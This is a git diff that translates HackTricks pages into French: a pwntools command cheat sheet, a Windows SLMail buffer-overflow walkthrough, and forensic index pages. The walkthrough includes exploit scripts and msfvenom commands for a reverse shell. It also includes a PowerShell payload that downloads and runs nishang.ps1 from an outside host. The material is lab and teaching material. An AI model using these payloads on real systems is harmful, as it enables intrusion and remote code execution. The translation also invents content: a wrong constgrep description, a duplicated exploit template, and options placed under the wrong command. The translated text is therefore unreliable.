- - ``` pip3 install pwntools ``` - # Pwn asm -Get opcodes from line or file. - +Obtenir les opcodes d'une ligne ou d'un fichier. ``` pwn asm "jmp esp" pwn asm -i ``` +**Peut sélectionner:** -**Can select:** +* type de sortie (brut, hexadécimal, chaîne, elf) +* contexte de fichier de sortie (16,32,64,linux,windows...) +* éviter les octets (nouvelles lignes, null, une liste) +* sélectionner l'encodeur de débogage shellcode en utilisant gdb pour exécuter la sortie -* output type (raw,hex,string,elf) -* output file context (16,32,64,linux,windows...) -* avoid bytes (new lines, null, a list) -* select encoder debug shellcode using gdb run the output - -# **Pwn checksec** - -Checksec script +# **Pwn checksec** +Script Checksec ``` pwn checksec ``` - # Pwn constgrep +Recherche de chaînes de caractères dans les binaires. + +`constgrep` est un outil qui permet de rechercher des chaînes de caractères dans les binaires. Il est très utile pour trouver des chaînes de caractères sensibles telles que des mots de passe ou des clés secrètes qui ont été laissées dans le code source. + # Pwn cyclic -Get a pattern +Générer un motif de débordement. +`cyclic` est un outil qui permet de générer un motif de débordement. Ce motif est utilisé pour déterminer la longueur maximale de la charge utile lors de l'exploitation d'une vulnérabilité de débordement de tampon. Le motif est généré en utilisant une séquence de lettres et de chiffres qui se répètent de manière prévisible. ``` pwn cyclic 3000 pwn cyclic -l faad ``` +**Peut sélectionner :** -**Can select:** - -* The used alphabet (lowercase chars by default) -* Length of uniq pattern (default 4) -* context (16,32,64,linux,windows...) -* Take the offset (-l) +* L'alphabet utilisé (minuscules par défaut) +* Longueur du motif unique (par défaut 4) +* Contexte (16,32,64,linux,windows...) +* Prendre l'offset (-l) # Pwn debug -Attach GDB to a process - +Attacher GDB à un processus ``` pwn debug --exec /bin/bash pwn debug --pid 1234 pwn debug --process bash ``` +**Peut sélectionner:** -**Can select:** - -* By executable, by name or by pid context (16,32,64,linux,windows...) -* gdbscript to execute +* Par exécutable, par nom ou par contexte pid (16,32,64,linux,windows...) +* gdbscript à exécuter * sysrootpath # Pwn disablenx -Disable nx of a binary - +Désactiver nx d'un binaire ``` pwn disablenx ``` - # Pwn disasm -Disas hex opcodes - +Désassemble les opcodes hexadécimaux ``` pwn disasm ffe4 ``` +**Peut sélectionner:** -**Can select:** - -* context (16,32,64,linux,windows...) -* base addres -* color(default)/no color +* contexte (16,32,64,linux,windows...) +* adresse de base +* couleur (par défaut)/pas de couleur # Pwn elfdiff -Print differences between 2 fiels - +Affiche les différences entre 2 fichiers. ``` pwn elfdiff ``` - # Pwn hex -Get hexadecimal representation - +Obtenir la représentation hexadécimale ```bash pwn hex hola #Get hex of "hola" ascii ``` - # Pwn phd -Get hexdump - +Obtenir un hexdump ``` pwn phd ``` +**Peut sélectionner:** -**Can select:** - -* Number of bytes to show -* Number of bytes per line highlight byte -* Skip bytes at beginning +* Le nombre d'octets à afficher +* Le nombre d'octets par ligne en surbrillance +* Ignorer les octets au début # Pwn pwnstrip @@ -137,8 +120,7 @@ pwn phd # Pwn shellcraft -Get shellcodes - +Obtenir des shellcodes ``` pwn shellcraft -l #List shellcodes pwn shellcraft -l amd #Shellcode with amd in the name @@ -146,63 +128,53 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run pwn shellcraft -r amd64.linux.sh #Run to test. Get shell pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port ``` +**Peut sélectionner:** -**Can select:** +* shellcode et arguments pour le shellcode +* Fichier de sortie +* Format de sortie +* Débogage (attacher dbg au shellcode) +* avant (piège de débogage avant le code) +* après +* éviter d'utiliser des opcodes (par défaut: non nul et nouvelle ligne) +* Exécuter le shellcode +* Couleur/sans couleur +* Liste des appels système +* Liste des shellcodes possibles +* Générer ELF en tant que bibliothèque partagée -* shellcode and arguments for the shellcode -* Out file -* output format -* debug (attach dbg to shellcode) -* before (debug trap before code) -* after -* avoid using opcodes (default: not null and new line) -* Run the shellcode -* Color/no color -* list syscalls -* list possible shellcodes -* Generate ELF as a shared library - -# Pwn template - -Get a python template +# Modèle Pwn +Obtenez un modèle python ``` pwn template ``` - -**Can select:** host, port, user, pass, path and quiet - # Pwn unhex -From hex to string +De l'hexadécimal à la chaîne de caractères +**Peut sélectionner:** hôte, port, utilisateur, mot de passe, chemin et mode silencieux ``` pwn unhex 686f6c61 ``` +# Mise à jour de Pwn -# Pwn update - -To update pwntools - +Pour mettre à jour pwntools ``` pwn update ``` - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
- - diff --git a/exploiting/windows-exploiting-basic-guide-oscp-lvl.md b/exploiting/windows-exploiting-basic-guide-oscp-lvl.md index cfadc02d0..e75c5bdbd 100644 --- a/exploiting/windows-exploiting-basic-guide-oscp-lvl.md +++ b/exploiting/windows-exploiting-basic-guide-oscp-lvl.md @@ -1,31 +1,62 @@ -# Windows Exploiting (Basic Guide - OSCP lvl) +## Exploitation Windows (Guide de base - Niveau OSCP)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## **Start installing the SLMail service** +## **Commencez par installer le service SLMail** -## Restart SLMail service - -Every time you need to **restart the service SLMail** you can do it using the windows console: +## Redémarrer le service SLMail +Chaque fois que vous devez **redémarrer le service SLMail**, vous pouvez le faire en utilisant la console Windows : ``` net start slmail ``` +## Modèle d'exploit Python très basique -![](<../.gitbook/assets/image (23) (1).png>) +```python +#!/usr/bin/env python +import socket -## Very basic python exploit template +RHOST = "192.168.0.5" +RPORT = 31337 +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.connect((RHOST, RPORT)) + +buf = "" +buf += "A" * 1024 + +s.send(buf) +s.close() +``` + +```python +#!/usr/bin/env python +import socket + +RHOST = "192.168.0.5" +RPORT = 31337 + +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.connect((RHOST, RPORT)) + +buf = "" +buf += "A" * 1024 + +s.send(buf) +s.close() +``` + +Ce modèle d'exploit Python très basique crée une connexion à une adresse IP et un port spécifiques, puis envoie une charge utile de 1024 octets remplis de la lettre "A". Ce modèle peut être utilisé comme point de départ pour développer des exploits plus avancés. ```python #!/usr/bin/python @@ -47,89 +78,79 @@ try: except: print "Could not connect to "+ip+":"+port ``` +## **Changer la police d'Immunity Debugger** -## **Change Immunity Debugger Font** +Allez dans `Options >> Apparence >> Polices >> Changer (Consolas, Gras, 9) >> OK` -Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` +## **Attacher le processus à Immunity Debugger:** -## **Attach the proces to Immunity Debugger:** - -**File --> Attach** +**Fichier --> Attacher** ![](<../.gitbook/assets/image (24) (1) (1).png>) -**And press START button** +**Et appuyez sur le bouton DÉMARRER** -## **Send the exploit and check if EIP is affected:** +## **Envoyer l'exploit et vérifier si EIP est affecté:** ![](<../.gitbook/assets/image (25) (1) (1).png>) -Every time you break the service you should restart it as is indicated in the beginnig of this page. +Chaque fois que vous interrompez le service, vous devez le redémarrer comme indiqué au début de cette page. -## Create a pattern to modify the EIP +## Créer un modèle pour modifier EIP -The pattern should be as big as the buffer you used to broke the service previously. +Le modèle doit être aussi grand que le tampon que vous avez utilisé pour interrompre le service précédemment. ![](<../.gitbook/assets/image (26) (1) (1).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 ``` +Modifiez le tampon de l'exploit et définissez le modèle, puis lancez l'exploit. -Change the buffer of the exploit and set the pattern and lauch the exploit. - -A new crash should appeard, but with a different EIP address: +Un nouveau crash devrait apparaître, mais avec une adresse EIP différente : ![](<../.gitbook/assets/image (27) (1) (1).png>) -Check if the address was in your pattern: +Vérifiez si l'adresse était dans votre modèle : ![](<../.gitbook/assets/image (28) (1) (1).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 ``` +Il semble que **nous puissions modifier l'EIP à l'offset 2606** du tampon. -Looks like **we can modify the EIP in offset 2606** of the buffer. - -Check it modifing the buffer of the exploit: - +Vérifiez-le en modifiant le tampon de l'exploit : ``` buffer = 'A'*2606 + 'BBBB' + 'CCCC' ``` - -With this buffer the EIP crashed should point to 42424242 ("BBBB") +Avec ce tampon, l'EIP qui a planté devrait pointer vers 42424242 ("BBBB") ![](<../.gitbook/assets/image (30) (1) (1).png>) ![](<../.gitbook/assets/image (29) (1) (1).png>) -Looks like it is working. +On dirait que ça fonctionne. -## Check for Shellcode space inside the stack +## Vérifier l'espace pour le shellcode dans la pile -600B should be enough for any powerfull shellcode. - -Lets change the bufer: +600B devrait être suffisant pour tout shellcode puissant. +Modifions le tampon : ``` buffer = 'A'*2606 + 'BBBB' + 'C'*600 ``` - -launch the new exploit and check the EBP and the length of the usefull shellcode +Lancer la nouvelle exploitation et vérifier l'EBP et la longueur du shellcode utile ![](<../.gitbook/assets/image (31) (1).png>) ![](<../.gitbook/assets/image (32) (1).png>) -You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here. +Vous pouvez voir que lorsque la vulnérabilité est atteinte, l'EBP pointe vers le shellcode et que nous avons beaucoup d'espace pour localiser un shellcode ici. -In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough. +Dans ce cas, nous avons **de 0x0209A128 à 0x0209A2D6 = 430B.** Suffisant. -## Check for bad chars - -Change again the buffer: +## Vérifier les mauvais caractères +Changer à nouveau le tampon : ``` badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" @@ -151,30 +172,27 @@ badchars = ( ) buffer = 'A'*2606 + 'BBBB' + badchars ``` +Les mauvais caractères commencent à 0x01 car 0x00 est presque toujours mauvais. -The badchars starts in 0x01 because 0x00 is almost always bad. +Exécutez plusieurs fois l'exploit avec ce nouveau tampon en supprimant les caractères qui sont jugés inutiles : -Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:. +Par exemple : -For example: - -In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09). +Dans ce cas, vous pouvez voir que **vous ne devez pas utiliser le caractère 0x0A** (rien n'est enregistré en mémoire depuis le caractère 0x09). ![](<../.gitbook/assets/image (33) (1).png>) -In this case you can see that **the char 0x0D is avoided**: +Dans ce cas, vous pouvez voir que **le caractère 0x0D est évité** : ![](<../.gitbook/assets/image (34) (1).png>) -## Find a JMP ESP as a return address - -Using: +## Trouver un JMP ESP comme adresse de retour +En utilisant : ``` !mona modules #Get protections, look for all false except last one (Dll of SO) ``` - -You will **list the memory maps**. Search for some DLl that has: +Vous allez **lister les cartes mémoire**. Recherchez une DLL qui a: * **Rebase: False** * **SafeSEH: False** @@ -184,30 +202,25 @@ You will **list the memory maps**. Search for some DLl that has: ![](<../.gitbook/assets/image (35) (1).png>) -Now, inside this memory you should find some JMP ESP bytes, to do that execute: - +Maintenant, à l'intérieur de cette mémoire, vous devriez trouver quelques octets JMP ESP, pour cela, exécutez: ``` !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case ``` - -**Then, if some address is found, choose one that don't contain any badchar:** +**Ensuite, si une adresse est trouvée, choisissez-en une qui ne contient pas de mauvais caractères:** ![](<../.gitbook/assets/image (36) (1).png>) -**In this case, for example: \_0x5f4a358f**\_ - -## Create shellcode +**Dans ce cas, par exemple: \_0x5f4a358f**\_ +## Créer un shellcode ``` msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' ``` +Si l'exploit ne fonctionne pas mais qu'il devrait (vous pouvez voir avec ImDebg que le shellcode est atteint), essayez de créer d'autres shellcodes (msfvenom peut créer différents shellcodes pour les mêmes paramètres). -If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters). - -**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit: - +**Ajoutez quelques NOPS au début** du shellcode et utilisez-le ainsi que l'adresse de retour pour JMP ESP, et terminez l'exploit: ```bash #!/usr/bin/python @@ -256,27 +269,24 @@ try: except: print "Could not connect to "+ip+":"+port ``` - {% hint style="warning" %} -There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode +Il existe des shellcodes qui **s'écrasent eux-mêmes**, il est donc important d'ajouter toujours quelques NOPs avant le shellcode. {% endhint %} -## Improving the shellcode - -Add this parameters: +## Amélioration du shellcode +Ajoutez ces paramètres : ``` EXITFUNC=thread -e x86/shikata_ga_nai ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live). +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/forensics/basic-forensic-methodology/README.md b/forensics/basic-forensic-methodology/README.md index 94847f335..d3b191bb9 100644 --- a/forensics/basic-forensic-methodology/README.md +++ b/forensics/basic-forensic-methodology/README.md @@ -1,40 +1,40 @@ -# Basic Forensic Methodology +# Méthodologie de base en investigation numérique
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-## Creating and Mounting an Image +## Création et montage d'une image {% content-ref url="../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md" %} [image-acquisition-and-mount.md](../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md) {% endcontent-ref %} -## Malware Analysis +## Analyse de logiciels malveillants -This **isn't necessary the first step to perform once you have the image**. But you can use this malware analysis techniques independently if you have a file, a file-system image, memory image, pcap... so it's good to **keep these actions in mind**: +Ce n'est **pas nécessairement la première étape à effectuer une fois que vous avez l'image**. Mais vous pouvez utiliser ces techniques d'analyse de logiciels malveillants indépendamment si vous avez un fichier, une image de système de fichiers, une image de mémoire, un pcap... donc il est bon de **garder ces actions à l'esprit** : {% content-ref url="malware-analysis.md" %} [malware-analysis.md](malware-analysis.md) {% endcontent-ref %} -## Inspecting an Image +## Inspection d'une image -if you are given a **forensic image** of a device you can start **analyzing the partitions, file-system** used and **recovering** potentially **interesting files** (even deleted ones). Learn how in: +Si vous avez une **image numérique** d'un appareil, vous pouvez commencer à **analyser les partitions, les systèmes de fichiers** utilisés et **récupérer** des fichiers potentiellement **intéressants** (même ceux qui ont été supprimés). Apprenez comment faire dans : {% content-ref url="partitions-file-systems-carving/" %} [partitions-file-systems-carving](partitions-file-systems-carving/) {% endcontent-ref %} -Depending on the used OSs and even platform different interesting artifacts should be searched: +Selon les systèmes d'exploitation utilisés et même la plateforme, différents artefacts intéressants doivent être recherchés : {% content-ref url="windows-forensics/" %} [windows-forensics](windows-forensics/) @@ -48,42 +48,42 @@ Depending on the used OSs and even platform different interesting artifacts shou [docker-forensics.md](docker-forensics.md) {% endcontent-ref %} -## Deep inspection of specific file-types and Software +## Inspection approfondie de types de fichiers et de logiciels spécifiques -If you have very **suspicious** **file**, then **depending on the file-type and software** that created it several **tricks** may be useful.\ -Read the following page to learn some interesting tricks: +Si vous avez un fichier très **suspect**, alors **en fonction du type de fichier et du logiciel** qui l'a créé, plusieurs **astuces** peuvent être utiles.\ +Lisez la page suivante pour apprendre quelques astuces intéressantes : {% content-ref url="specific-software-file-type-tricks/" %} [specific-software-file-type-tricks](specific-software-file-type-tricks/) {% endcontent-ref %} -I want to do a special mention to the page: +Je tiens à mentionner en particulier la page : {% content-ref url="specific-software-file-type-tricks/browser-artifacts.md" %} [browser-artifacts.md](specific-software-file-type-tricks/browser-artifacts.md) {% endcontent-ref %} -## Memory Dump Inspection +## Inspection de la mémoire {% content-ref url="memory-dump-analysis/" %} [memory-dump-analysis](memory-dump-analysis/) {% endcontent-ref %} -## Pcap Inspection +## Inspection de pcap {% content-ref url="pcap-inspection/" %} [pcap-inspection](pcap-inspection/) {% endcontent-ref %} -## **Anti-Forensic Techniques** +## **Techniques anti-forensiques** -Keep in mind the possible use of anti-forensic techniques: +Gardez à l'esprit l'utilisation possible de techniques anti-forensiques : {% content-ref url="anti-forensic-techniques.md" %} [anti-forensic-techniques.md](anti-forensic-techniques.md) {% endcontent-ref %} -## Threat Hunting +## Chasse aux menaces {% content-ref url="file-integrity-monitoring.md" %} [file-integrity-monitoring.md](file-integrity-monitoring.md) @@ -93,10 +93,10 @@ Keep in mind the possible use of anti-forensic techniques: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. diff --git a/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/forensics/basic-forensic-methodology/anti-forensic-techniques.md index a3f661009..56de4b983 100644 --- a/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ b/forensics/basic-forensic-methodology/anti-forensic-techniques.md @@ -1,190 +1,42 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
